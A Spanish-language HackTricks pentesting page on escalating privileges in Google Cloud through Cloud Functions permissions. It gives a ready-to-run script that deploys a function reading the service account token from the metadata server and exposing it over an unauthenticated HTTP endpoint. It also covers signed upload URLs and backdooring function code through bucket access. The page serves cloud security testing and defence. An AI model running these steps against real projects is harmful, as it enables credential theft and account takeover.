GCP - Cloudfunctions Privesc

Support HackTricks

cloudfunctions

Más información sobre Cloud Functions:

cloudfunctions.functions.create , cloudfunctions.functions.sourceCodeSet, iam.serviceAccounts.actAs

Un atacante con estos privilegios puede crear una nueva Cloud Function con código arbitrario (malicioso) y asignarle una Service Account. Luego, filtrar el token de la Service Account desde los metadatos para escalar privilegios a ella. Algunos privilegios para activar la función pueden ser requeridos.

Los scripts de explotación para este método se pueden encontrar aquí y aquí y el archivo .zip preconstruido se puede encontrar aquí.

cloudfunctions.functions.update , cloudfunctions.functions.sourceCodeSet, iam.serviceAccounts.actAs

Un atacante con estos privilegios puede modificar el código de una Function e incluso modificar la cuenta de servicio adjunta con el objetivo de exfiltrar el token.

Para desplegar funciones en la nube también necesitarás permisos actAs sobre la cuenta de servicio de cómputo predeterminada o sobre la cuenta de servicio que se utiliza para construir la imagen.

Algunos privilegios adicionales como el permiso .call para la versión 1 de cloudfunctions o el rol role/run.invoker para activar la función pueden ser requeridos.

# Create new code
temp_dir=$(mktemp -d)

cat > $temp_dir/main.py <<EOF
import subprocess

def main(request):
cmd = "curl -s -f -H 'Metadata-Flavor: Google' 'http://metadata/computeMetadata/v1/instance/service-accounts/default/token'"
result = subprocess.check_output(cmd, shell=True, text=True)
return result
EOF

echo "" > $temp_dir/requirements.txt

zip -r $temp_dir/function.zip $temp_dir/main.py $temp_dir/requirements.txt

# Update code
gcloud functions deploy <cloudfunction-name> \
--runtime python312 \
--source $temp_dir \
--entry-point main \
--service-account <sa>@$PROJECT_ID.iam.gserviceaccount.com \
--trigger-http \
--allow-unauthenticated

# Get SA token calling the new function code
gcloud functions call <cloudfunction-name>

Si obtienes el error Permission 'run.services.setIamPolicy' denied on resource... es porque estás usando el parámetro --allow-unauthenticated y no tienes suficientes permisos para ello.

El script de explotación para este método se puede encontrar aquí.

cloudfunctions.functions.sourceCodeSet

Con este permiso puedes obtener una URL firmada para poder subir un archivo a un bucket de función (pero el código de la función no se cambiará, aún necesitas actualizarlo)

# Generate the URL
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'

No estoy realmente seguro de cuán útil es solo este permiso desde la perspectiva de un atacante, pero es bueno saberlo.

cloudfunctions.functions.setIamPolicy , iam.serviceAccounts.actAs

Dáte cualquiera de los privilegios anteriores .update o .create para escalar.

cloudfunctions.functions.update

Solo tener permisos de cloudfunctions, sin iam.serviceAccounts.actAs, no podrás actualizar la función ASÍ QUE ESTO NO ES UNA ESCALADA DE PRIVILEGIOS VÁLIDA.

Acceso de Lectura y Escritura sobre el bucket

Si tienes acceso de lectura y escritura sobre el bucket, puedes monitorear cambios en el código y cada vez que ocurra una actualización en el bucket, puedes actualizar el nuevo código con tu propio código con el que se ejecutará la nueva versión de la Cloud Function con el código backdoored enviado.

Puedes consultar más sobre el ataque en:

Sin embargo, no puedes usar esto para pre-comprometer Cloud Functions de terceros porque si creas el bucket en tu cuenta y le das permisos públicos para que el proyecto externo pueda escribir sobre él, obtienes el siguiente error:

Sin embargo, esto podría usarse para ataques DoS.

Acceso de Lectura y Escritura sobre Artifact Registry

Cuando se crea una Cloud Function, se envía una nueva imagen de docker al Artifact Registry del proyecto. Intenté modificar la imagen con una nueva, e incluso eliminar la imagen actual (y la imagen cache) y nada cambió, la cloud function continuó funcionando. Por lo tanto, tal vez podría ser posible abusar de un ataque de Condición de Carrera como con el bucket para cambiar el contenedor de docker que se ejecutará, pero solo modificando la imagen almacenada no es posible comprometer la Cloud Function.

Referencias

Apoya a HackTricks

Last updated